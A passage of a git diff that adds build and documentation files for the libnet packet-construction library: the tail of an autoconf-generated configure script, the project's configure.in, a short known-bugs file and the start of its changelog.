+ac_abs_top_srcdir=`cd "$ac_dir" && cd $ac_top_srcdir && pwd`
+
+
+ case $INSTALL in
+ [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;;
+ *) ac_INSTALL=$ac_top_builddir$INSTALL ;;
+ esac
+
+ if test x"$ac_file" != x-; then
+ { echo "$as_me:$LINENO: creating $ac_file" >&5
+echo "$as_me: creating $ac_file" >&6;}
+ rm -f "$ac_file"
+ fi
+ # Let's still pretend it is `configure' which instantiates (i.e., don't
+ # use $as_me), people would be surprised to read:
+ # /* config.h. Generated by config.status. */
+ if test x"$ac_file" = x-; then
+ configure_input=
+ else
+ configure_input="$ac_file. "
+ fi
+ configure_input=$configure_input"Generated from `echo $ac_file_in |
+ sed 's,.*/,,'` by configure."
+
+ # First look for the input files in the build tree, otherwise in the
+ # src tree.
+ ac_file_inputs=`IFS=:
+ for f in $ac_file_in; do
+ case $f in
+ -) echo $tmp/stdin ;;
+ [\\/$]*)
+ # Absolute (can't be DOS-style, as IFS=:)
+ test -f "$f" || { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5
+echo "$as_me: error: cannot find input file: $f" >&2;}
+ { (exit 1); exit 1; }; }
+ echo $f;;
+ *) # Relative
+ if test -f "$f"; then
+ # Build tree
+ echo $f
+ elif test -f "$srcdir/$f"; then
+ # Source tree
+ echo $srcdir/$f
+ else
+ # /dev/null tree
+ { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5
+echo "$as_me: error: cannot find input file: $f" >&2;}
+ { (exit 1); exit 1; }; }
+ fi;;
+ esac
+ done` || { (exit 1); exit 1; }
+_ACEOF
+cat >>$CONFIG_STATUS <<_ACEOF
+ sed "$ac_vpsub
+$extrasub
+_ACEOF
+cat >>$CONFIG_STATUS <<\_ACEOF
+:t
+/@[a-zA-Z_][a-zA-Z_0-9]*@/!b
+s,@configure_input@,$configure_input,;t t
+s,@srcdir@,$ac_srcdir,;t t
+s,@abs_srcdir@,$ac_abs_srcdir,;t t
+s,@top_srcdir@,$ac_top_srcdir,;t t
+s,@abs_top_srcdir@,$ac_abs_top_srcdir,;t t
+s,@builddir@,$ac_builddir,;t t
+s,@abs_builddir@,$ac_abs_builddir,;t t
+s,@top_builddir@,$ac_top_builddir,;t t
+s,@abs_top_builddir@,$ac_abs_top_builddir,;t t
+s,@INSTALL@,$ac_INSTALL,;t t
+" $ac_file_inputs | (eval "$ac_sed_cmds") >$tmp/out
+ rm -f $tmp/stdin
+ if test x"$ac_file" != x-; then
+ mv $tmp/out $ac_file
+ else
+ cat $tmp/out
+ rm -f $tmp/out
+ fi
+
+done
+_ACEOF
+cat >>$CONFIG_STATUS <<\_ACEOF
+
+#
+# CONFIG_HEADER section.
+#
+
+# These sed commands are passed to sed as "A NAME B NAME C VALUE D", where
+# NAME is the cpp macro being defined and VALUE is the value it is being given.
+#
+# ac_d sets the value in "#define NAME VALUE" lines.
+ac_dA='s,^\([ ]*\)#\([ ]*define[ ][ ]*\)'
+ac_dB='[ ].*$,\1#\2'
+ac_dC=' '
+ac_dD=',;t'
+# ac_u turns "#undef NAME" without trailing blanks into "#define NAME VALUE".
+ac_uA='s,^\([ ]*\)#\([ ]*\)undef\([ ][ ]*\)'
+ac_uB='$,\1#\2define\3'
+ac_uC=' '
+ac_uD=',;t'
+
+for ac_file in : $CONFIG_HEADERS; do test "x$ac_file" = x: && continue
+ # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in".
+ case $ac_file in
+ - | *:- | *:-:* ) # input from stdin
+ cat >$tmp/stdin
+ ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'`
+ ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;;
+ *:* ) ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'`
+ ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;;
+ * ) ac_file_in=$ac_file.in ;;
+ esac
+
+ test x"$ac_file" != x- && { echo "$as_me:$LINENO: creating $ac_file" >&5
+echo "$as_me: creating $ac_file" >&6;}
+
+ # First look for the input files in the build tree, otherwise in the
+ # src tree.
+ ac_file_inputs=`IFS=:
+ for f in $ac_file_in; do
+ case $f in
+ -) echo $tmp/stdin ;;
+ [\\/$]*)
+ # Absolute (can't be DOS-style, as IFS=:)
+ test -f "$f" || { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5
+echo "$as_me: error: cannot find input file: $f" >&2;}
+ { (exit 1); exit 1; }; }
+ echo $f;;
+ *) # Relative
+ if test -f "$f"; then
+ # Build tree
+ echo $f
+ elif test -f "$srcdir/$f"; then
+ # Source tree
+ echo $srcdir/$f
+ else
+ # /dev/null tree
+ { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5
+echo "$as_me: error: cannot find input file: $f" >&2;}
+ { (exit 1); exit 1; }; }
+ fi;;
+ esac
+ done` || { (exit 1); exit 1; }
+ # Remove the trailing spaces.
+ sed 's/[ ]*$//' $ac_file_inputs >$tmp/in
+
+_ACEOF
+
+# Transform confdefs.h into two sed scripts, `conftest.defines' and
+# `conftest.undefs', that substitutes the proper values into
+# config.h.in to produce config.h. The first handles `#define'
+# templates, and the second `#undef' templates.
+# And first: Protect against being on the right side of a sed subst in
+# config.status. Protect against being in an unquoted here document
+# in config.status.
+rm -f conftest.defines conftest.undefs
+# Using a here document instead of a string reduces the quoting nightmare.
+# Putting comments in sed scripts is not portable.
+#
+# `end' is used to avoid that the second main sed command (meant for
+# 0-ary CPP macros) applies to n-ary macro definitions.
+# See the Autoconf documentation for `clear'.
+cat >confdef2sed.sed <<\_ACEOF
+s/[\\&,]/\\&/g
+s,[\\$`],\\&,g
+t clear
+: clear
+s,^[ ]*#[ ]*define[ ][ ]*\([^ (][^ (]*\)\(([^)]*)\)[ ]*\(.*\)$,${ac_dA}\1${ac_dB}\1\2${ac_dC}\3${ac_dD},gp
+t end
+s,^[ ]*#[ ]*define[ ][ ]*\([^ ][^ ]*\)[ ]*\(.*\)$,${ac_dA}\1${ac_dB}\1${ac_dC}\2${ac_dD},gp
+: end
+_ACEOF
+# If some macros were called several times there might be several times
+# the same #defines, which is useless. Nevertheless, we may not want to
+# sort them, since we want the *last* AC-DEFINE to be honored.
+uniq confdefs.h | sed -n -f confdef2sed.sed >conftest.defines
+sed 's/ac_d/ac_u/g' conftest.defines >conftest.undefs
+rm -f confdef2sed.sed
+
+# This sed command replaces #undef with comments. This is necessary, for
+# example, in the case of _POSIX_SOURCE, which is predefined and required
+# on some systems where configure will not decide to define it.
+cat >>conftest.undefs <<\_ACEOF
+s,^[ ]*#[ ]*undef[ ][ ]*[a-zA-Z_][a-zA-Z_0-9]*,/* & */,
+_ACEOF
+
+# Break up conftest.defines because some shells have a limit on the size
+# of here documents, and old seds have small limits too (100 cmds).
+echo ' # Handle all the #define templates only if necessary.' >>$CONFIG_STATUS
+echo ' if grep "^[ ]*#[ ]*define" $tmp/in >/dev/null; then' >>$CONFIG_STATUS
+echo ' # If there are no defines, we may have an empty if/fi' >>$CONFIG_STATUS
+echo ' :' >>$CONFIG_STATUS
+rm -f conftest.tail
+while grep . conftest.defines >/dev/null
+do
+ # Write a limited-size here document to $tmp/defines.sed.
+ echo ' cat >$tmp/defines.sed <<CEOF' >>$CONFIG_STATUS
+ # Speed up: don't consider the non `#define' lines.
+ echo '/^[ ]*#[ ]*define/!b' >>$CONFIG_STATUS
+ # Work around the forget-to-reset-the-flag bug.
+ echo 't clr' >>$CONFIG_STATUS
+ echo ': clr' >>$CONFIG_STATUS
+ sed ${ac_max_here_lines}q conftest.defines >>$CONFIG_STATUS
+ echo 'CEOF
+ sed -f $tmp/defines.sed $tmp/in >$tmp/out
+ rm -f $tmp/in
+ mv $tmp/out $tmp/in
+' >>$CONFIG_STATUS
+ sed 1,${ac_max_here_lines}d conftest.defines >conftest.tail
+ rm -f conftest.defines
+ mv conftest.tail conftest.defines
+done
+rm -f conftest.defines
+echo ' fi # grep' >>$CONFIG_STATUS
+echo >>$CONFIG_STATUS
+
+# Break up conftest.undefs because some shells have a limit on the size
+# of here documents, and old seds have small limits too (100 cmds).
+echo ' # Handle all the #undef templates' >>$CONFIG_STATUS
+rm -f conftest.tail
+while grep . conftest.undefs >/dev/null
+do
+ # Write a limited-size here document to $tmp/undefs.sed.
+ echo ' cat >$tmp/undefs.sed <<CEOF' >>$CONFIG_STATUS
+ # Speed up: don't consider the non `#undef'
+ echo '/^[ ]*#[ ]*undef/!b' >>$CONFIG_STATUS
+ # Work around the forget-to-reset-the-flag bug.
+ echo 't clr' >>$CONFIG_STATUS
+ echo ': clr' >>$CONFIG_STATUS
+ sed ${ac_max_here_lines}q conftest.undefs >>$CONFIG_STATUS
+ echo 'CEOF
+ sed -f $tmp/undefs.sed $tmp/in >$tmp/out
+ rm -f $tmp/in
+ mv $tmp/out $tmp/in
+' >>$CONFIG_STATUS
+ sed 1,${ac_max_here_lines}d conftest.undefs >conftest.tail
+ rm -f conftest.undefs
+ mv conftest.tail conftest.undefs
+done
+rm -f conftest.undefs
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+ # Let's still pretend it is `configure' which instantiates (i.e., don't
+ # use $as_me), people would be surprised to read:
+ # /* config.h. Generated by config.status. */
+ if test x"$ac_file" = x-; then
+ echo "/* Generated by configure. */" >$tmp/config.h
+ else
+ echo "/* $ac_file. Generated by configure. */" >$tmp/config.h
+ fi
+ cat $tmp/in >>$tmp/config.h
+ rm -f $tmp/in
+ if test x"$ac_file" != x-; then
+ if diff $ac_file $tmp/config.h >/dev/null 2>&1; then
+ { echo "$as_me:$LINENO: $ac_file is unchanged" >&5
+echo "$as_me: $ac_file is unchanged" >&6;}
+ else
+ ac_dir=`(dirname "$ac_file") 2>/dev/null ||
+$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$ac_file" : 'X\(//\)[^/]' \| \
+ X"$ac_file" : 'X\(//\)$' \| \
+ X"$ac_file" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$ac_file" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ { if $as_mkdir_p; then
+ mkdir -p "$ac_dir"
+ else
+ as_dir="$ac_dir"
+ as_dirs=
+ while test ! -d "$as_dir"; do
+ as_dirs="$as_dir $as_dirs"
+ as_dir=`(dirname "$as_dir") 2>/dev/null ||
+$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$as_dir" : 'X\(//\)[^/]' \| \
+ X"$as_dir" : 'X\(//\)$' \| \
+ X"$as_dir" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$as_dir" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ done
+ test ! -n "$as_dirs" || mkdir $as_dirs
+ fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac_dir\"" >&5
+echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;}
+ { (exit 1); exit 1; }; }; }
+
+ rm -f $ac_file
+ mv $tmp/config.h $ac_file
+ fi
+ else
+ cat $tmp/config.h
+ rm -f $tmp/config.h
+ fi
+ # Run the commands associated with the file.
+ case $ac_file in
+ include/config.h ) # update the timestamp
+echo 'timestamp for include/config.h' >"include/stamp-h1"
+ ;;
+ esac
+done
+_ACEOF
+cat >>$CONFIG_STATUS <<\_ACEOF
+
+#
+# CONFIG_COMMANDS section.
+#
+for ac_file in : $CONFIG_COMMANDS; do test "x$ac_file" = x: && continue
+ ac_dest=`echo "$ac_file" | sed 's,:.*,,'`
+ ac_source=`echo "$ac_file" | sed 's,[^:]*:,,'`
+ ac_dir=`(dirname "$ac_dest") 2>/dev/null ||
+$as_expr X"$ac_dest" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$ac_dest" : 'X\(//\)[^/]' \| \
+ X"$ac_dest" : 'X\(//\)$' \| \
+ X"$ac_dest" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$ac_dest" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ ac_builddir=.
+
+if test "$ac_dir" != .; then
+ ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'`
+ # A "../" for each directory in $ac_dir_suffix.
+ ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'`
+else
+ ac_dir_suffix= ac_top_builddir=
+fi
+
+case $srcdir in
+ .) # No --srcdir option. We are building in place.
+ ac_srcdir=.
+ if test -z "$ac_top_builddir"; then
+ ac_top_srcdir=.
+ else
+ ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'`
+ fi ;;
+ [\\/]* | ?:[\\/]* ) # Absolute path.
+ ac_srcdir=$srcdir$ac_dir_suffix;
+ ac_top_srcdir=$srcdir ;;
+ *) # Relative path.
+ ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix
+ ac_top_srcdir=$ac_top_builddir$srcdir ;;
+esac
+# Don't blindly perform a `cd "$ac_dir"/$ac_foo && pwd` since $ac_foo can be
+# absolute.
+ac_abs_builddir=`cd "$ac_dir" && cd $ac_builddir && pwd`
+ac_abs_top_builddir=`cd "$ac_dir" && cd ${ac_top_builddir}. && pwd`
+ac_abs_srcdir=`cd "$ac_dir" && cd $ac_srcdir && pwd`
+ac_abs_top_srcdir=`cd "$ac_dir" && cd $ac_top_srcdir && pwd`
+
+
+ { echo "$as_me:$LINENO: executing $ac_dest commands" >&5
+echo "$as_me: executing $ac_dest commands" >&6;}
+ case $ac_dest in
+ depfiles ) test x"$AMDEP_TRUE" != x"" || for mf in $CONFIG_FILES; do
+ # Strip MF so we end up with the name of the file.
+ mf=`echo "$mf" | sed -e 's/:.*$//'`
+ # Check whether this is an Automake generated Makefile or not.
+ # We used to match only the files named `Makefile.in', but
+ # some people rename them; so instead we look at the file content.
+ # Grep'ing the first line is not enough: some people post-process
+ # each Makefile.in and add a new line on top of each file to say so.
+ # So let's grep whole file.
+ if grep '^#.*generated by automake' $mf > /dev/null 2>&1; then
+ dirpart=`(dirname "$mf") 2>/dev/null ||
+$as_expr X"$mf" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$mf" : 'X\(//\)[^/]' \| \
+ X"$mf" : 'X\(//\)$' \| \
+ X"$mf" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$mf" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ else
+ continue
+ fi
+ grep '^DEP_FILES *= *[^ #]' < "$mf" > /dev/null || continue
+ # Extract the definition of DEP_FILES from the Makefile without
+ # running `make'.
+ DEPDIR=`sed -n -e '/^DEPDIR = / s///p' < "$mf"`
+ test -z "$DEPDIR" && continue
+ # When using ansi2knr, U may be empty or an underscore; expand it
+ U=`sed -n -e '/^U = / s///p' < "$mf"`
+ test -d "$dirpart/$DEPDIR" || mkdir "$dirpart/$DEPDIR"
+ # We invoke sed twice because it is the simplest approach to
+ # changing $(DEPDIR) to its actual value in the expansion.
+ for file in `sed -n -e '
+ /^DEP_FILES = .*\\\\$/ {
+ s/^DEP_FILES = //
+ :loop
+ s/\\\\$//
+ p
+ n
+ /\\\\$/ b loop
+ p
+ }
+ /^DEP_FILES = / s/^DEP_FILES = //p' < "$mf" | \
+ sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do
+ # Make sure the directory exists.
+ test -f "$dirpart/$file" && continue
+ fdir=`(dirname "$file") 2>/dev/null ||
+$as_expr X"$file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$file" : 'X\(//\)[^/]' \| \
+ X"$file" : 'X\(//\)$' \| \
+ X"$file" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$file" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ { if $as_mkdir_p; then
+ mkdir -p $dirpart/$fdir
+ else
+ as_dir=$dirpart/$fdir
+ as_dirs=
+ while test ! -d "$as_dir"; do
+ as_dirs="$as_dir $as_dirs"
+ as_dir=`(dirname "$as_dir") 2>/dev/null ||
+$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$as_dir" : 'X\(//\)[^/]' \| \
+ X"$as_dir" : 'X\(//\)$' \| \
+ X"$as_dir" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$as_dir" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ done
+ test ! -n "$as_dirs" || mkdir $as_dirs
+ fi || { { echo "$as_me:$LINENO: error: cannot create directory $dirpart/$fdir" >&5
+echo "$as_me: error: cannot create directory $dirpart/$fdir" >&2;}
+ { (exit 1); exit 1; }; }; }
+
+ # echo "creating $dirpart/$file"
+ echo '# dummy' > "$dirpart/$file"
+ done
+done
+ ;;
+ default ) chmod +x libnet-config ;;
+ esac
+done
+_ACEOF
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+
+{ (exit 0); exit 0; }
+_ACEOF
+chmod +x $CONFIG_STATUS
+ac_clean_files=$ac_clean_files_save
+
+
+# configure is writing to config.log, and then calls config.status.
+# config.status does its own redirection, appending to config.log.
+# Unfortunately, on DOS this fails, as config.log is still kept open
+# by configure, so config.status won't be able to write to it; its
+# output is simply discarded. So we exec the FD to /dev/null,
+# effectively closing config.log, so it can be properly (re)opened and
+# appended to by config.status. When coming back to configure, we
+# need to make the FD available again.
+if test "$no_create" != yes; then
+ ac_cs_success=:
+ ac_config_status_args=
+ test "$silent" = yes &&
+ ac_config_status_args="$ac_config_status_args --quiet"
+ exec 5>/dev/null
+ $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false
+ exec 5>>config.log
+ # Use ||, not &&, to avoid exiting from the if with $? = 1, which
+ # would make configure fail if this is the last instruction.
+ $ac_cs_success || { (exit 1); exit 1; }
+fi
+
diff --git a/libnet/configure.in b/libnet/configure.in
new file mode 100644
index 0000000..849a60b
--- /dev/null
+++ b/libnet/configure.in
@@ -0,0 +1,235 @@
+dnl $Id: configure.in,v 1.9 2004/03/01 20:26:11 mike Exp $
+dnl
+dnl Libnet autoconfiguration information file
+dnl Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
+dnl All rights reserved.
+dnl
+dnl Process this file with autoconf to produce a configure script.
+
+
+AC_INIT(src/libnet_build_ip.c)
+LIBNET_VERSION=`cat VERSION`
+AC_MSG_RESULT(beginning autoconfiguration process for libnet-$LIBNET_VERSION...)
+AC_CANONICAL_SYSTEM
+
+AM_INIT_AUTOMAKE(libnet, $LIBNET_VERSION)
+AM_CONFIG_HEADER(include/config.h)
+AM_MAINTAINER_MODE
+
+dnl
+dnl Check for the usual programs
+dnl
+AC_PROG_CC
+AC_PROG_INSTALL
+AC_PROG_RANLIB
+
+AC_CHECK_HEADERS(sys/sockio.h)
+
+dnl
+dnl And some custom things
+dnl
+
+AC_LIBNET_ENDIAN_CHECK
+AC_LBL_UNALIGNED_ACCESS
+dnl AC_LBL_LIBRARY_NET
+
+AC_SUBST(ENDIANESS)
+AC_SUBST(LIBNET_VERSION)
+AC_SUBST(HAVE_PACKET_SOCKET)
+AC_SUBST(ADDITIONAL_LIBS)
+AC_SUBST(LIBNET_CONFIG_DEFINES)
+AC_SUBST(LIBNET_CONFIG_LIBS)
+AC_SUBST(LIBNET_CONFIG_CFLAGS)
+
+dnl
+dnl Check for typedefs, structures, and compiler characteristics
+dnl
+AC_PROG_GCC_TRADITIONAL
+if test "$GCC" = yes ; then
+ CFLAGS="$CFLAGS -Wall"
+fi
+
+dnl
+dnl Set the root install directory
+dnl
+AC_PREFIX_DEFAULT(/usr)
+dnl if test "$prefix" = "NONE"; then
+dnl prefix="/usr"
+dnl fi
+
+dnl
+dnl Check for library functions.
+dnl
+AC_CHECK_FUNCS(strerror)
+
+dnl
+dnl Get link-layer interface type
+dnl
+AC_MSG_CHECKING(link-layer packet interface type)
+
+if test -r /dev/bpf0 ; then
+ AC_LIBOBJ([libnet_link_bpf])
+ AC_MSG_RESULT(found bpf)
+elif test -r /usr/include/net/pfilt.h ; then
+ AC_LIBOBJ([libnet_link_pf])
+ AC_MSG_RESULT(found pf)
+elif test -r /dev/nit ; then
+ AC_LIBOBJ([libnet_link_snit])
+ AC_MSG_RESULT(found snit)
+elif test -r /usr/include/sys/net/nit.h ; then
+ AC_LIBOBJ([libnet_link_nit])
+ AC_MSG_RESULT(found nit)
+elif test -r /usr/include/net/raw.h ; then
+ AC_LIBOBJ([libnet_link_snoop])
+ AC_MSG_RESULT(found snoop)
+elif test -r /usr/include/sys/dlpi.h ; then
+ AC_LIBOBJ([libnet_link_dlpi])
+ AC_MSG_RESULT(found dlpi)
+ AC_DEFINE(HAVE_DLPI)
+elif test -r /usr/include/linux/socket.h ; then
+ AC_LIBOBJ([libnet_link_linux])
+ AC_MSG_RESULT(found linux primitives)
+ AC_LIBNET_CHECK_PF_PACKET
+ AC_LIBNET_LINUX_PROCFS
+elif test -c /dev/bpf0 ; then # check again in case not readable
+ AC_LIBOBJ([libnet_link_bpf])
+ AC_MSG_RESULT(found bpf)
+elif test -c /dev/nit ; then # check again in case not readable
+ AC_LIBOBJ([libnet_link_snit])
+ AC_MSG_RESULT(found snit)
+elif test "$target_os" = "cygwin" ; then
+ AC_LIBOBJ([libnet_link_win32])
+ AC_MSG_RESULT(found win32 wpcap)
+else
+ AC_LIBOBJ([libnet_link_none])
+ AC_MSG_WARN(could not find a link-layer packet interface)
+ AC_MSG_WARN(link-layer packet injection will not be available)
+fi
+
+dnl
+dnl Inform user about the packet builders we've got
+dnl
+echo -n "scanning available packet construction modules: "
+for dir in src/*build*c ; do
+ echo $dir | sed -e /src\\/libnet_build_/s/// | sed -e /\\.c/s/// | tr \\n \\040
+done
+echo ""
+
+dnl
+dnl Check and set OS specific parameters
+dnl
+
+case "$target_os" in
+
+*linux*)
+ AC_DEFINE(_BSD_SOURCE)
+ AC_DEFINE(__BSD_SOURCE)
+ AC_DEFINE(__FAVOR_BSD)
+ LIBNET_CONFIG_DEFINES="-D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD"
+ AC_CHECK_HEADERS(net/ethernet.h, \
+ LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DHAVE_NET_ETHERNET_H")
+ ;;
+
+*freebsd*)
+ AC_DEFINE(LIBNET_BSDISH_OS)
+ AC_DEFINE(LIBNET_BSD_BYTE_SWAP)
+ AC_DEFINE(HAVE_SOCKADDR_SA_LEN)
+ LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DLIBNET_BSD_BYTE_SWAP -DHAVE_SOCKADDR_SA_LEN"
+ ;;
+
+*netbsd*)
+ AC_DEFINE(LIBNET_BSDISH_OS)
+ AC_DEFINE(LIBNET_BSD_BYTE_SWAP)
+ LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DLIBNET_BSD_BYTE_SWAP"
+ ;;
+
+*openbsd*)
+ AC_DEFINE(LIBNET_BSDISH_OS)
+ AC_DEFINE(HAVE_SOCKADDR_SA_LEN)
+ LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS"
+ ;;
+
+*bsdi*)
+ AC_DEFINE(LIBNET_BSDISH_OS)
+ AC_DEFINE(LIBNET_BSD_BYTE_SWAP)
+ LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DLIBNET_BSD_BYTE_SWAP"
+ ;;
+
+*darwin*)
+ AC_DEFINE(HAVE_SOCKADDR_SA_LEN)
+ LIBNET_CONFIG_DEFINES="-DHAVE_SOCKADDR_SA_LEN"
+ ;;
+
+*solaris*)
+ AC_DEFINE(HAVE_SOLARIS)
+ AC_CHECK_HEADERS(sys/bufmod.h sys/dlpi_ext.h)
+ AC_MSG_CHECKING(for /dev/dlpi device)
+ if test -c /dev/dlpi; then
+ AC_MSG_RESULT(yes)
+ AC_DEFINE(HAVE_DEV_DLPI)
+ else
+ AC_MSG_RESULT(no)
+ dir="/dev/dlpi"
+ AC_MSG_CHECKING(for $dir directory)
+ if test -d $dir ; then
+ AC_MSG_RESULT(yes)
+ AC_DEFINE_UNQUOTED(DLPI_DEV_PREFIX, "$dir")
+ else
+ AC_MSG_RESULT(no)
+ fi
+ fi
+ AC_CHECK_LIB(socket, socket, ,AC_MSG_ERROR(libsocket not found.))
+ AC_CHECK_LIB(nsl, gethostbyname, ,AC_MSG_ERROR(libnsl not found.))
+
+dnl
+dnl Broken checksums?
+dnl
+ case "`uname -r`" in
+ 5.4)
+ AC_DEFINE(STUPID_SOLARIS_CHECKSUM_BUG)
+ ;;
+ 5.5*)
+ AC_DEFINE(STUPID_SOLARIS_CHECKSUM_BUG)
+ ;;
+ 5.8)
+ AC_DEFINE(STUPID_SOLARIS_CHECKSUM_BUG)
+ AC_DEFINE(HAVE_SOLARIS_IPV6)
+ ;;
+ 5.9)
+ AC_DEFINE(STUPID_SOLARIS_CHECKSUM_BUG)
+ AC_DEFINE(HAVE_SOLARIS_IPV6)
+ ;;
+
+ esac
+
+ ADDITIONAL_LIBS='-lsocket -lnsl'
+ LIBNET_CONFIG_LIBS="$LIBNET_CONFIG_LIBS -lsocket -lnsl"
+ ;;
+
+*hpux11*)
+ AC_DEFINE(HAVE_HPUX11)
+ AC_CHECK_HEADERS(sys/dlpi_ext.h)
+ ;;
+
+*cygwin*)
+ AC_DEFINE(LIBNET_BSDISH_OS)
+ AC_DEFINE(NO_SNPRINTF)
+ LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DNO_SNPRINTF"
+ CFLAGS="$CFLAGS -mno-cygwin -O0 -fnative-struct -DNO_SNPRINTF -I/usr/include/pcap"
+ AC_CHECK_LIB(packet, PacketSetMode, ,AC_MSG_ERROR(packet lib not found.))
+ AC_CHECK_LIB(wpcap, pcap_setmode, ,AC_MSG_ERROR(pcap lib not found.))
+ LIBS="$LIBS -lws2_32"
+ ;;
+
+*)
+ AC_MSG_WARN(apparently your OS is not officially supported yet)
+ AC_MSG_WARN(this may not work)
+ AC_MSG_RESULT(please send diffs to mike@infonexus.com)
+ ;;
+
+esac
+
+AC_OUTPUT(Makefile src/Makefile include/Makefile \
+ include/libnet/Makefile sample/Makefile version.h include/libnet.h \
+ libnet-config, chmod +x libnet-config)
+dnl EOF
diff --git a/libnet/doc/BUGS b/libnet/doc/BUGS
new file mode 100644
index 0000000..2e8c929
--- /dev/null
+++ b/libnet/doc/BUGS
@@ -0,0 +1,19 @@
+===============================================================================
+ $Id: BUGS,v 1.2 2004/01/03 20:31:00 mike Exp $
+ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ http://www.packetfactory.net/libnet
+===============================================================================
+
+
+ 1.1.0 KNOWN BUG LIST
+
+ - It appears as though getprotobynumber() is broken in some linux
+ distributions. The /etc/protocols file should be of the format:
+ protocol name protocol number proctocol symbolic constant comment
+ Most of the file (in my redhat 7.1) distro complies with this format
+ until you get to the end of the file:
+ # 134-254 # Unassigned
+ # 255 # Reserved
+ This will cause getprotobynumber() and presumably getprotobyname() to
+ segfault. If you get this behavior in your program and you're calling
+ __libnet_file_dump(), this could be the reason. Caveat Emptor.
diff --git a/libnet/doc/CHANGELOG b/libnet/doc/CHANGELOG
new file mode 100644
index 0000000..a3ae914
--- /dev/null
+++ b/libnet/doc/CHANGELOG
@@ -0,0 +1,527 @@
+===============================================================================
+ $Id: CHANGELOG,v 1.24 2004/03/29 17:24:34 mike Exp $
+ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ http://www.packetfactory.net/libnet
+===============================================================================
+
+
+Mon Mar 29 09:23:49 PST 2004 1.1.2.1
+
+ Fixed a typo in the ICMP patch mentioned below.
+
+Thu Mar 25 10:49:04 PST 2004 1.1.2
+
+ Fixed the ICMP error message builders (there was a pblock assembly bug
+ that would prevent you from building more than one ICMP {unreach, time
+ exceed, redirect} in succession; the order of operations has changed
+ slightly for building these packets, see the documenation and sample code
+ Added a Sebek builder
+ Fixed a bug in libnet_autobuild_arp() that had it pulling in the address to
+ a pointer instead of just the address
+ Added AM_MAINTAINER_MODE to configure.in
+ Changed the __libnet_dump* namespace to the more descriptive libnet_diag*
+ Added libnet_getpacket_size() to return the size of a packet in a given l
